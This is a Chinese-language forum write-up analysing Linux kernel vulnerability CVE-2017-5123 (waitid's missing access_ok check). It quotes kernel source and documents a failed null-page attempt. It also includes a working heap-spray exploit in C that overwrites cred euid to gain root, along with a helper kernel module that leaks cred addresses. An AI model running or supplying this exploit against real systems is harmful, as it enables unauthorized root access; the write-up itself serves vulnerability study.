-
-
[原创]Linux内核[CVE-2017-5123] (waitid)原理分析
-
2021-1-13 13:18 2708
-
Linux内核[CVE-2017-5123] waitid
cve-2017-5123 是linux内核中waitid有关的一个漏洞。
waitid demo
类似于wait和waitpid。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <sys/wait.h> #include <string.h> int main(){ siginfo_t info; id_t id ; int ret_val; pid_t pid = fork(); if (pid < 0 ){ perror( "fork failed" ); exit( - 1 ); } else if (pid = = 0 ){ / / in child process printf( "This is child process!\n" ); exit( 8 ); } else { / / in father process memset(&info, 0 , sizeof(siginfo_t)); / / P_ALL代表等待任何一个进程 / / 退出信息在info结构体中 / / Wait for children that have terminated. ret_val = waitid(P_ALL, id , &info , WEXITED); if (ret_val < 0 ){ perror( "waitid failed" );exit( - 2 ); } if (info.si_code = = CLD_EXITED) { printf( "si_code: _exit\n" ); } printf( "si_status = %d\n" , info.si_status); } return 0 ; } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | typedef struct siginfo { int si_signo; int si_errno; int si_code; union { int _pad[SI_PAD_SIZE]; / * kill() * / struct { __kernel_pid_t _pid; / * sender's pid * / __ARCH_SI_UID_T _uid; / * sender's uid * / } _kill; / * POSIX. 1b timers * / struct { __kernel_timer_t _tid; / * timer id * / int _overrun; / * overrun count * / char _pad[sizeof( __ARCH_SI_UID_T) - sizeof( int )]; sigval_t _sigval; / * same as below * / int _sys_private; / * not to be passed to user * / } _timer; / * POSIX. 1b signals * / struct { __kernel_pid_t _pid; / * sender's pid * / __ARCH_SI_UID_T _uid; / * sender's uid * / sigval_t _sigval; } _rt; / * SIGCHLD * / struct { __kernel_pid_t _pid; / * which child * / __ARCH_SI_UID_T _uid; / * sender's uid * / int _status; / * exit code * / __ARCH_SI_CLOCK_T _utime; __ARCH_SI_CLOCK_T _stime; } _sigchld; / * SIGILL, SIGFPE, SIGSEGV, SIGBUS * / struct { void __user * _addr; / * faulting insn / memory ref. * / #ifdef __ARCH_SI_TRAPNO int _trapno; / * TRAP # which caused the signal */ #endif short _addr_lsb; / * LSB of the reported address * / union { / * used when si_code = SEGV_BNDERR * / struct { void __user * _lower; void __user * _upper; } _addr_bnd; / * used when si_code = SEGV_PKUERR * / __u32 _pkey; }; } _sigfault; / * SIGPOLL * / struct { __ARCH_SI_BAND_T _band; / * POLL_IN, POLL_OUT, POLL_MSG * / int _fd; } _sigpoll; / * SIGSYS * / struct { void __user * _call_addr; / * calling user insn * / int _syscall; / * triggering system call number * / unsigned int _arch; / * AUDIT_ARCH_ * of syscall * / } _sigsys; } _sifields; } __ARCH_SI_ATTRIBUTES siginfo_t; |
漏洞源码
waitid
https://elixir.bootlin.com/linux/v4.13/source/kernel/exit.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | SYSCALL_DEFINE5(waitid, int , which, pid_t, upid, struct siginfo __user * , infop, int , options, struct rusage __user * , ru) { struct rusage r; struct waitid_info info = {.status = 0 }; long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL); int signo = 0 ; if (err > 0 ) { signo = SIGCHLD; err = 0 ; } if (!err) { if (ru && copy_to_user(ru, &r, sizeof(struct rusage))) return - EFAULT; } if (!infop) return err; user_access_begin(); / / 暂时关闭smap unsafe_put_user(signo, &infop - >si_signo, Efault); unsafe_put_user( 0 , &infop - >si_errno, Efault); unsafe_put_user((short)info.cause, &infop - >si_code, Efault); unsafe_put_user(info.pid, &infop - >si_pid, Efault); unsafe_put_user(info.uid, &infop - >si_uid, Efault); unsafe_put_user(info.status, &infop - >si_status, Efault); user_access_end(); / / 重新开启smap return err; Efault: user_access_end(); return - EFAULT; } |
看到这里首先调用 user_access_begin()
1 2 3 4 5 | #define user_access_begin() __uaccess_begin() #define user_access_end() __uaccess_end() #define __uaccess_begin() stac() #define __uaccess_end() clac() |
实际上是调用了 stac()
还有 clac()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #ifdef CONFIG_X86_SMAP //是否开始smap? static __always_inline void clac(void) { / * Note: a barrier is implicit in alternative() * / alternative("", __stringify(__ASM_CLAC), X86_FEATURE_SMAP); } static __always_inline void stac(void) { / * Note: a barrier is implicit in alternative() * / alternative("", __stringify(__ASM_STAC), X86_FEATURE_SMAP); } / / 其中 __ASM_CLAC 与 __ASM_STAC / * "Raw" instruction opcodes * / #define __ASM_CLAC .byte 0x0f,0x01,0xca #define __ASM_STAC .byte 0x0f,0x01,0xcb |
简单说一下这个CLAC 和 STAC,由于众所周知的SMAP,内核不可以随意去读写用户空间的数据(这也导致了内核对于用户空间访问的低效)。但是当 内核确实有正常的需求需要访问用户空间并进行读写时,我们需要暂时禁用smap。
However, the use of SMAP in an operating system may lead to a larger kernel size and slower user-space memory accesses from supervisor code, because SMAP must be temporarily disabled any time supervisor code intends to access user-space memory.
而谁来disable SMAP呢?这就需要:Extended Features CPUID leaf
也就是 EFLAGS
下面给出过程:
1.当 EFLAGS.AC 被 stac
设置后,就可以暂时性的disable掉SMAP,然后内核便可以对用户数据进行读写。
2.内核读写完毕用户数据,此时我们要恢复SMAP,于是调用 clac
清除 EFLAGS.AC
恢复SMAP。整个过程便完成了。
接下来调用了 unsafe_put_user
unsafe_put_user
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | / * * The "unsafe" user accesses aren't really "unsafe" , but the naming * is a big fat warning: you have to not only do the access_ok() * checking before using them, but you have to surround them with the * user_access_begin / end() pair. * / #define user_access_begin() __uaccess_begin() #define user_access_end() __uaccess_end() #define unsafe_put_user(x, ptr, err_label) \ do { \ int __pu_err; \ __typeof__( * (ptr)) __pu_val = (x); \ __put_user_size(__pu_val, (ptr), sizeof( * (ptr)), __pu_err, - EFAULT); \ if (unlikely(__pu_err)) goto err_label; \ } while ( 0 ) |
这里首先提醒我们,要配合 user_access_begin/end()
来使用 unsafe_put_user
并且,要在这之前调用 access_ok()
检查!!!但是这里并没有 access_ok()
缺失的access_ok()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | / * * * access_ok: - Checks if a user space pointer is valid * @ type : Type of access: % VERIFY_READ or % VERIFY_WRITE. Note that * % VERIFY_WRITE is a superset of % VERIFY_READ - if it is safe * to write to a block, it is always safe to read from it. * @addr: User space pointer to start of block to check * @size: Size of block to check * * Context: User context only. This function may sleep if pagefaults are * enabled. * * Checks if a pointer to a block of memory in user space is valid. * * Returns true (nonzero) if the memory block may be valid, false (zero) * if it is definitely invalid. * * Note that, depending on architecture, this function probably just * checks that the pointer is in the user space range - after calling * this function, memory access functions may still return - EFAULT. * / #define access_ok(type, addr, size) \ ({ \ WARN_ON_IN_IRQ(); \ likely(!__range_not_ok(addr, size, user_addr_max())); \ }) |
这里做了如下事情:
1.user_addr_max()
获得了 current->thread.addr_limit.seg
作为用户态地址的边界。
2.__chk_user_ptr
检查我们的参数 addr
是否是指向用户态的
3.__range_not_ok
检查 addr + size
和 limit
的大小关系,即addr + size
是否也指向用户态
我们再找一个x86下对于 access_ok
的引用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | static int __setup_frame( int sig, struct ksignal * ksig, sigset_t * set , struct pt_regs * regs) { struct sigframe __user * frame; void __user * restorer; int err = 0 ; void __user * fpstate = NULL; frame = get_sigframe(&ksig - >ka, regs, sizeof( * frame), &fpstate); if (!access_ok(VERIFY_WRITE, frame, sizeof( * frame))) return - EFAULT; ...... } |
这里检查frame的地址是否是用户态的。setup_frame
是在做信号处理的时候,需要先返回到用户态执行信号处理程序,执行完信号处理程序后再返回到内核态,再在内核态完成收尾工作。而从内核态返回到用户态时,CPU要从内核栈中找到返回到用户态的地址(就是调用系统调用的下一条代码指令地址)Linux为了先让信号处理程序执行,所以就需要把这个返回地址修改为信号处理程序的入口,这样当从系统调用返回到用户态时,就可以执行信号处理程序了。
当用户态的signal handler执行完毕后,重新切回内核态。(通过sigreturn()
系统调用,在 sigreturn()
中恢复原来内核栈的内容,这里也是由于 sigreturn
没有对数据做检查就弹到寄存器里而产生了 SROP 这种攻击)
之后进行内核态的收尾处理。
漏洞利用
原理简述
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | SYSCALL_DEFINE5(waitid, int , which, pid_t, upid, struct siginfo __user * , infop, int , options, struct rusage __user * , ru) { struct rusage r; struct waitid_info info = {.status = 0 }; long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL); int signo = 0 ; if (err > 0 ) { signo = SIGCHLD; err = 0 ; } if (!err) { if (ru && copy_to_user(ru, &r, sizeof(struct rusage))) return - EFAULT; } if (!infop) return err; user_access_begin(); / / 暂时关闭smap unsafe_put_user(signo, &infop - >si_signo, Efault); unsafe_put_user( 0 , &infop - >si_errno, Efault); unsafe_put_user((short)info.cause, &infop - >si_code, Efault); unsafe_put_user(info.pid, &infop - >si_pid, Efault); unsafe_put_user(info.uid, &infop - >si_uid, Efault); unsafe_put_user(info.status, &infop - >si_status, Efault); user_access_end(); / / 重新开启smap return err; Efault: user_access_end(); return - EFAULT; } |
我们再根据源码来梳理一下:
1.由于没有在调用 unsafe_put_user
前调用 access_ok
导致将 unsafe_put_user(x, ptr, err_label)
其中的x写到了任意的ptr。
2.更进一步的,针对 unsafe_put_user(0, &infop->si_errno, Efault)
我们可以写一个空字节到一个可控的任意地址!
3.如果我们将空字节向 cred.uid
写的话,就可以完成提权。
1 2 3 4 5 6 | struct cred { ...... kuid_t uid; / * real UID of the task * / kgid_t gid; / * real GID of the task * / ...... } |
4.但是我们没有一个特别通用的方法去在进程空间内找到他的cred结构体的位置。
攻击方式
朴素思想:此漏洞允许无特权的用户在调用waitid()时通过使用infop来指定内核地址,内核将会不带检查的对其进行写入。
而 infop 是一个 struct siginfo __user *
下面谈几种可用的攻击方式:
1.堆喷:大量的进行fork()创建进程,每个进程都会对应一个cred结构体,然后任意写某一个进程cred的uid,之后 getuid()
检测是否有哪一个进程的uid被清零(提权)
2.ret2dir:首先找到用户区域和内核区域对应的physmap的地址,在physmap中写payload,然后找到内核对应的physmap的虚拟地址,最后把内核态的执行流拉到内核对应的physmap地址上。
3.通过爆破struct file
的地址,然后找到file结构体中指向当前的cred结构体的指针,接下来直接任意写当前的cred结构体。(之前做祥云杯的内核pwn的时候感觉在不开启kaslr下爆破file结构体比直接爆破cred结构体要快?)
4.在 exploit_null_ptr_deref 分析笔记) 中 De4dCr0w师傅 提到了,可以利用覆写have_canfork_callback触发空指针引用fork()提权。
0地址shellcode配合空指针引用提权(failed)
考虑如下调用流:
1 2 3 4 5 6 7 8 9 10 | fork() _do_fork() copy_process() / * * Ensure that the cgroup subsystem policies allow the new process to be * forked. It should be noted the the new process's css_set can be changed * between here and cgroup_post_fork() if an organisation operation is in * progress. * / retval = cgroup_can_fork(p); / / 判断cgroup是否允许新的进程被fork? |
而在 cgroup_can_fork
中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | / * * * cgroup_can_fork - called on a new task before the process is exposed * @child: the task in question. * * This calls the subsystem can_fork() callbacks. If the can_fork() callback * returns an error, the fork aborts with that error code. This allows for * a cgroup subsystem to conditionally allow or deny new forks. * / int cgroup_can_fork(struct task_struct * child) { struct cgroup_subsys * ss; int i, j, ret; do_each_subsys_mask(ss, i, have_canfork_callback) { ret = ss - >can_fork(child); if (ret) goto out_revert; } while_each_subsys_mask(); ...... } |
调用了 do_each_subsys_mask
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | / * * * do_each_subsys_mask - filter for_each_subsys with a bitmask * @ss: the iteration cursor * @ssid: the index of @ss, CGROUP_SUBSYS_COUNT after reaching the end * @ss_mask: the bitmask * * The block will only run for cases where the ssid - th bit ( 1 << ssid) of * @ss_mask is set . * / #define do_each_subsys_mask(ss, ssid, ss_mask) do { \ unsigned long __ss_mask = (ss_mask); \ if (!CGROUP_SUBSYS_COUNT) { / * to avoid spurious gcc warning * / \ (ssid) = 0 ; \ break ; \ } \ for_each_set_bit(ssid, &__ss_mask, CGROUP_SUBSYS_COUNT) { \ (ss) = cgroup_subsys[ssid]; \ { #define while_each_subsys_mask() \ } \ } \ } while (false) |
这里的 ss_mask
就是 have_canfork_callback
。ss
是未初始化的 struct cgroup_subsys
指针。CGROUP_SUBSYS_COUNT
为 0.
ssid
为 i。
1 2 3 4 | #define for_each_set_bit(bit, addr, size) \ for ((bit) = find_first_bit((addr), (size)); \ (bit) < (size); \ (bit) = find_next_bit((addr), (size), (bit) + 1 )) |
这里将我们的 have_canfork_callback
的地址作为addr(指向位图)。bit为 ssid 即 i,size为 CGROUP_SUBSYS_COUNT
(查找范围)。
而 Linux Kernel Inside 中对其的解释如下:
for_each_set_bit
for_each_set_bit_from
for_each_clear_bit
for_each_clear_bit_from
All of these macros provide iterator over certain set of bits in a bit array. The first macro iterates over bits which are set, the second does the same, but starts from a certain bits. The last two macros do the same, but iterates over clear bits.
也就是说 for_each_set_bit
迭代的是那些被置位的bits。
具体的,find_first_bit
在位图中查找第一个为1的bit位。
find_next_bit
在查找范围内,从bit+1开始,接着找第一个为1的bit位。
所以这里 for_each_set_bit
就是在范围内,查找所有的被置位的bit。返回的是位图 have_canfork_callback 中小于 CGROUP_SUBSYS_COUNT 的最后一个被置位的bit的位置(在上层函数中就是ssid)。
然后将其作为数组下标,获取 cgroup_subsys[ssid]
处的值赋给 ss
最后在cgroup_can_fork
会有一个针对ret = ss->can_fork(child)
的调用。其中cgroup_subsys
是一个虚表如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | struct cgroup_subsys { struct cgroup_subsys_state * ( * css_alloc)(struct cgroup_subsys_state * parent_css); int ( * css_online)(struct cgroup_subsys_state * css); void ( * css_offline)(struct cgroup_subsys_state * css); void ( * css_released)(struct cgroup_subsys_state * css); void ( * css_free)(struct cgroup_subsys_state * css); void ( * css_reset)(struct cgroup_subsys_state * css); int ( * can_attach)(struct cgroup_taskset * tset); void ( * cancel_attach)(struct cgroup_taskset * tset); void ( * attach)(struct cgroup_taskset * tset); void ( * post_attach)(void); int ( * can_fork)(struct task_struct * task); / / 偏移 0x50 void ( * cancel_fork)(struct task_struct * task); void ( * fork)(struct task_struct * task); void ( * exit)(struct task_struct * task); void ( * free)(struct task_struct * task); void ( * bind)(struct cgroup_subsys_state * root_css); ...... |
这张表在创建之初是空的,也就是说 ss->can_fork
为NULL。
调试
这个rdi就是 have_canfork_callback
此时本次 find_first_bit
返回值如下:
接下来做了一个cmp,如果返回值小于等于0xc,那么就跳转。调用偏移0x50的 can_fork
如果我们让 can_fork
为0,然后去调用这个 can_fork
那么就实现了控制流向0地址的一个转移,然后我们将事先准备好的shellcode放到0地址,就可以在0地址上执行shellcode。
这里发生了这样的问题:
mmap的时候:
1 2 3 4 5 6 | do_mmap() get_unmapped_area() security_mmap_addr(addr) ret = cap_capable(current_cred(), &init_user_ns, CAP_SYS_RAWIO,SECURITY_CAP_AUDIT); / * set PF_SUPERPRIV if it turns out we allow the low mmap * / if (ret = = 0 ) current - >flags | = PF_SUPERPRIV; |
这个低地址不可映射。。。最终爆炸。。
我尝试了如下方法,无果:
https://blog.csdn.net/cosmoslhf/article/details/39101999
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | / * * * cap_capable - Determine whether a task has a particular effective capability * @cred: The credentials to use * @ns: The user namespace in which we need the capability * @cap: The capability to check for * @audit: Whether to write an audit message or not * * Determine whether the nominated task has the specified capability amongst * its effective set , returning 0 if it does, - ve if it does not . * * NOTE WELL: cap_has_capability() cannot be used like the kernel's capable() * and has_capability() functions. That is , it has the reverse semantics: * cap_has_capability() returns 0 when a task has a capability, but the * kernel's capable() and has_capability() returns 1 for this case. * / int cap_capable(const struct cred * cred, struct user_namespace * targ_ns, int cap, int audit) { struct user_namespace * ns = targ_ns; / * See if cred has the capability in the target user namespace * by examining the target user namespace and all of the target * user namespace's parents. * / for (;;) { / * Do we have the necessary capabilities? * / if (ns = = cred - >user_ns) return cap_raised(cred - >cap_effective, cap) ? 0 : - EPERM; / * Have we tried all of the parent namespaces? * / if (ns = = &init_user_ns) return - EPERM; / * * The owner of the user namespace in the parent of the * user namespace has all caps. * / if ((ns - >parent = = cred - >user_ns) && uid_eq(ns - >owner, cred - >euid)) return 0 ; / * * If you have a capability in a parent user ns, then you have * it over all children user namespaces as well. * / ns = ns - >parent; } / * We never get here * / } |
但是我发现如果我用root
启动内核,那么这个0地址映射是成功的。而这个 cap_capable
在检查进程的权限。
同时这篇文章:https://www.cnblogs.com/redstar9451/p/6645579.html 也提到了,要在root下做0地址映射。
在这里提到了:https://blog.csdn.net/airuozhaoyang/article/details/99300030
由于内核空间和用户空间共享虚拟内存地址,因此需要防止用户空间mmap的内存从0开始,从而缓解NULL解引用攻击。windows系统从win8开始禁止在零页分配内存。从linux内核2.6.22开始可以使用sysctl设置mmap_min_addr来实现这一保护。从Ubuntu 9.04开始,mmap_min_addr设置被内置到内核中(x86为64k,ARM为32k)
这个似乎是一个保护措施,更详细的在mmap_min_addr
但是我尝试使用上面的措施来关闭他,但是失败了。
但是我看网上用4.13.0复现这个cve的wp没有提到这个问题,于是为了学习漏洞利用的过程,我们切到root启动再继续。(如果有知道怎么解决这个问题的欢迎指导!)
首先我们断点打在这里
pwndbg> b cgroup_can_fork
Breakpoint 1 at 0xffffffff811264a0: file kernel/cgroup/cgroup.c, line 4812.
但是问题在于在我这个4.13的版本下,CGROUP_SUBSYS_COUNT的默认值并不是4,而是0xc;并且在一个新的cgroup_subsys中的can_fork函数也不是0,而是已经被定义好的 pids_can_fork。
这个初始化出现在:https://elixir.bootlin.com/linux/v4.13/source/kernel/cgroup/pids.c#L343
1 2 3 4 5 6 7 8 9 10 11 | struct cgroup_subsys pids_cgrp_subsys = { .css_alloc = pids_css_alloc, .css_free = pids_css_free, .can_attach = pids_can_attach, .cancel_attach = pids_cancel_attach, .can_fork = pids_can_fork, / / 这里导致can_fork并不是 0 .cancel_fork = pids_cancel_fork, .free = pids_free, .legacy_cftypes = pids_files, .dfl_cftypes = pids_files, }; |
这个版本的exp在我这里调用失败了。原因如下:
1.非root用户无法做0地址映射。
2.cgroup_subsys会直接被初始化,导致can_fork不为0。
不过这里给出几个用0地址的exp成功的师傅的博客:
https://bbs.pediy.com/thread-247014.htm
https://freewechat.com/a/MjM5NTc2MDYxMw==/2458292173/1
https://x3h1n.github.io/2019/12/30/CVE-2017-5123%E5%A4%8D%E7%8E%B0/
内核堆喷——空字节任意写cred结构体
这里对应的在:
条件:
1.已知我们可以通过 unsafe_put_user
将 0 写入内核任意位置。
2.如果我们知道某一个cred结构体的位置,那么直接去写他的uid和euid,就可以实现提权。
3.waitpid在非法内存访问时不会崩溃,而是返回错误代码,基于此,也可以进行内存的爆破or探测。(-EFAULT)
方法:
1.使用clone函数创建多个轻量级process,那么内核中会存在许多的cred结构体。
2.观察每个cred结构体euid的位置。可以通过如下驱动:
https://reverse.put.as/2017/11/07/exploiting-cve-2017-5123/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | #include <linux/module.h> #include <linux/init.h> #include <linux/kernel.h> #include <linux/sched.h> #include <linux/fs.h> // for basic filesystem #include <linux/proc_fs.h> // for the proc filesystem #include <linux/seq_file.h> // for sequence files static struct proc_dir_entry * jif_file; static int jif_show(struct seq_file * m, void * v) { return 0 ; } static int jif_open(struct inode * inode, struct file * file ) { printk( "EUID: %p\n" , ¤t - >cred - >euid); return single_open( file , jif_show, NULL); } static const struct file_operations jif_fops = { .owner = THIS_MODULE, . open = jif_open, .read = seq_read, .llseek = seq_lseek, .release = single_release, }; static int __init jif_init(void) { jif_file = proc_create( "jif" , 0 , NULL, &jif_fops); if (!jif_file) { return - ENOMEM; } return 0 ; } static void __exit jif_exit(void) { remove_proc_entry( "jif" , NULL); } module_init(jif_init); module_exit(jif_exit); MODULE_LICENSE( "GPL" ); |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | $ dmesg | grep EUID\: [ 1.619126 ] EUID: ffff88000f8ba794 [ 1.620359 ] EUID: ffff88000f8ba314 [ 1.624884 ] EUID: ffff88000f8ba554 [ 1.628512 ] EUID: ffff88000f8ba614 [ 1.632383 ] EUID: ffff88000f8ba494 [ 1.636413 ] EUID: ffff88000f8ba6d4 [ 1.640410 ] EUID: ffff88000f8bacd4 [ 1.644443 ] EUID: ffff88000f8bac14 [ 1.648359 ] EUID: ffff88000f8baa94 [ 1.652456 ] EUID: ffff88000f8bae54 [ 1.656355 ] EUID: ffff88000f8ba194 [ 1.660443 ] EUID: ffff88000f8bad94 [ 1.664369 ] EUID: ffff88000e6e8e54 [ 1.668351 ] EUID: ffff88000f8ba9d4 [ 1.672375 ] EUID: ffff88000f8ba914 [ 1.676383 ] EUID: ffff88000f8bab54 [ 1.680371 ] EUID: ffff88000f8ba254 [ 1.684344 ] EUID: ffff88000f8ba3d4 [ 1.688322 ] EUID: ffff88000f8ba014 [ 1.692266 ] EUID: ffff88000f8ba0d4 [ 1.696389 ] EUID: ffff88000f8baf14 [ 1.700363 ] EUID: ffff88000d274554 [ 1.704348 ] EUID: ffff88000d274b54 [ 1.708398 ] EUID: ffff88000d274194 [ 1.712384 ] EUID: ffff88000d274494 [ 1.716348 ] EUID: ffff88000d274f14 [ 1.720366 ] EUID: ffff88000d274794 [ 1.724411 ] EUID: ffff88000d274254 [ 1.728445 ] EUID: ffff88000d274a94 [ 1.732369 ] EUID: ffff88000f9ef914 ...... |
可以看到偏移还是在某一个范围内的。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | #define _GNU_SOURCE #include <stdio.h> #include <sys/mman.h> #include <sys/wait.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #include <sys/stat.h> #include <fcntl.h> #include <sched.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/syscall.h> #include <sys/wait.h> #include <errno.h> #include <asm/unistd_64.h> #define MAX_THREADS 19970 #define STACK_SIZE 4096 #define N 256 size_t startup_64,prepare_kernel_cred,commit_creds,offset; int success_flag = 1 ; void set_cpu_affinity(){ cpu_set_t mask; CPU_ZERO(&mask); CPU_SET( 0 ,&mask); if (sched_setaffinity( 0 ,sizeof(mask),&mask)) puts( "set single CPU failed" ); return ; } int spray(){ / / open ( "/proc/jif" ); set_cpu_affinity(); int fd = open ( "/proc/jif" ,O_RDWR); close(fd); int euid; int old = geteuid(); while ( 1 ){ euid = syscall(__NR_geteuid); if (old! = euid){ printf( "[*]success!\n" ); success_flag = 0 ; / / printf( "[*]pid:%d euid:%d uid:%d\n" ,getpid(),geteuid(),getuid()); setuid( 0 ); printf( "[*]pid:%d euid:%d uid:%d\n" ,getpid(),geteuid(),getuid()); system( "id" ); system( "cat cve-2017-5123" ); } if (!success_flag){ sleep( 100000 ); } usleep( 100000 ); } return 0 ; } int main( int argc, char * * argv){ / / set_cpu_affinity(); pid_t pid; for ( int i = 0 ;i< 850 ;i + + ){ void * stack = malloc(STACK_SIZE); pid = clone(spray,stack,CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SYSVSEM | SIGCHLD,NULL); if (pid = = - 1 ){ perror( "[-]clone failed!" ); exit( - 1 ); } } size_t start_addr = 0xffff88000d3b0004 ; size_t end_addr = 0xffff88000d3b0ff4 ; size_t inc = 0x10 ; printf( "[*]clone 850 over\n" ); / / getchar(); for (size_t address = start_addr;success_flag;address + = inc){ printf( "[*]attacking 0x%llx\n" ,address); syscall(SYS_waitid, P_ALL, 0 ,address, WEXITED|WNOHANG|__WNOTHREAD, NULL); if (address > end_addr){printf( "failed to pwn\n" );exit( 0 );} usleep( 100000 ); } return 0 ; } |
效果:
其中 cve-2017-5123是一个权限400的文件。内容是字符串success。
可以看到此时已经劫持了euid。
- uid代表进程的创建者(属于哪个用户创建)
- 而euid表示进程对于文件和资源的访问权限(具备等同于哪个用户的权限)。
此时euid为0,等同于root。此时读出了root权限的文件。
ps:至于为什么在劫持了euid后要setuid可以看:https://www.douban.com/note/310087353/
参考
patch:waitid(): switch copyout of siginfo to unsafe_put_user()
Supervisor Mode Access Prevention
Kernel exploitation - CVE-2017-5123 PoC e Writeup
Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox!
Bit arrays and bit operations in the Linux kernel
linux内核追踪——find_next_bit函数详详详解
安卓应用层抓包通杀脚本发布!《高研班》2021年3月班开始招生!